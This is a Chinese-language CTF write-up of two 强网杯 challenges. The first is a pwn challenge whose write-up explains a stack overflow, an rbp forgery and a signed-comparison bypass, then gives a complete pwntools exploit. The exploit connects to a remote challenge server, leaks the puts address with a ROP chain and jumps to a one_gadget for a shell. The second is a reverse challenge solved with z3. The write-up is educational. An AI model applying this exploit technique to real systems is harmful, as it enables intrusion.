0x0. 前言
只做出两道水题,还是记录一下吧。
0x1. 强网先锋(Pwn) - babymessage - 52pt
菜单选 1 输入 name,选 2 输入 message。message 的长度由栈上变量 v1
决定,与 256 做有符号比较,大于的话长度设为 256,然后用此长度调用 leave_message
。
第一次循环,v1
(不是 leave_message
那个)一开始是 16,但 leave_message
中 v3
的长度是 8,造成栈溢出,可以覆盖旧的 rbp,从而在函数返回时伪造 rbp 为任意值。
返回后进入第二次循环,因为在 v1
和 256 比较大小时以 rbp 为基准寻址,加上有符号比较存在整数溢出漏洞,所以可以伪造 rbp 使得 rbp-4 处的值是一个负数,从而绕过大小检查,在 leave_message
中 read
时读入超长字符串,控制返回地址。
先泄露 puts
的地址,用 __libc_csu_init
中的 pop rdi; ret
做 ROP,传递 puts@got
给 puts@plt
,以打印出 puts
地址,根据偏移计算出 one_gadget 地址。
最后返回到 leave_message
函数再触发一次栈溢出,把返回地址改到 one_gadget 就搞定了。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| from pwn import * context.log_level = 'debug' p = remote('123.56.170.202','21342') e = ELF('./babymessage') puts_plt = e.plt['puts'] puts_got = e.got['puts'] poprdi = 0x400ac3 p.sendlineafter('choice: ','1') p.sendlineafter('name: ', '\xff'*4) p.sendlineafter('choice: ','2') p.sendlineafter('message: ', '\xff'*8+p64(0x6010d4)) p.sendlineafter('choice: ','2') payload = 'deadbeefdeadbeef' payload += p64(poprdi) + p64(puts_got) + p64(puts_plt) payload += p64(poprdi) + p64(41) payload += p64(0x40080a) + '\x00' p.sendlineafter('message: ', payload) p.recvuntil('done!\n') p.recv(1) puts_addr = p.recv(6).ljust(8,'\x00') puts_addr = u64(puts_addr) print('puts:'+hex(puts_addr)) one_shot = puts_addr + 0x89a2c print('one_shot:'+hex(one_shot)) p.sendlineafter('message: ', 'deadbeefdeadbeef'+p64(one_shot)+'\x00') p.recvuntil('done!\n') p.interactive()
|
0x2. Reverse - xx_warmup_obf - 103pt
控制流平坦化,没有什么好说的,就是跑起来硬跟。
注册了一个 signal handler,程序中间会通过 int 3
中断进入 handler 里,改变决定着控制流的状态变量中存储的常数。
一直跟下去,到输入完 flag 后面,这里检验 flag 长度为 1Ch(28):
接着往下跟,这里取输入的 flag 第一个字符的 ASCII 码,乘以 0x5d75
,看是否等于 0x253c9e
。
所以第一个字符就是 0x253c9e
除以 0x5d75
等于 0x66
,即 f,可以猜测前面几个字符是 flag{。
后面的计算也和这里类似,用输入的 flag 里某几位字符乘以一个数,得数全部加起来再判断是否等于某个常数,每次计算可以确定出 flag 里的一个字符,全部 28 个字符算出来就是 flag。
解方程用 z3,不过因为每次乘以的数都不同,也不知道有什么好办法自动解每一个字符(看了别的师傅的 writeup,可以写 IDAPython 脚本,需要学习一个),所以只能用笨办法每个字符重新写 z3 脚本算…… 以下是算中间某个字符的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| import sys sys.path.append('z3/build/') from z3 import * s = Solver() a = BitVec('a', 32) flag = 'flag{g0_Fuck_xx_5e' s.add(a*0xFFFC5AF3 +ord(flag[0])*0x20d94 +ord(flag[1])*0x2fb77 +ord(flag[2])*0xFFFD2918 +ord(flag[3])*0x1882d +ord(flag[4])*0xFFFEDE1F +ord(flag[5])*0xFFFF0015 +ord(flag[6])*0xFFFBB7A0 +ord(flag[7])*0x14a94 +ord(flag[8])*0xFFFDA0CD +ord(flag[9])*0xde69 +ord(flag[0xa])*0x2FE8 +ord(flag[0xb])*0x2abe5 +ord(flag[0xc])*0x26530 +ord(flag[0xd])*0x4c3d +ord(flag[0xe])*0x2383e +ord(flag[0xf])*0x42763 +ord(flag[0x10])*0xe5c9 +ord(flag[0x11])*0x539 ==0x39F3331) s.add(a>0) s.add(a<0x100) print(s.check()) mod = s.model() chars = [ mod[a], ] print(chars)
|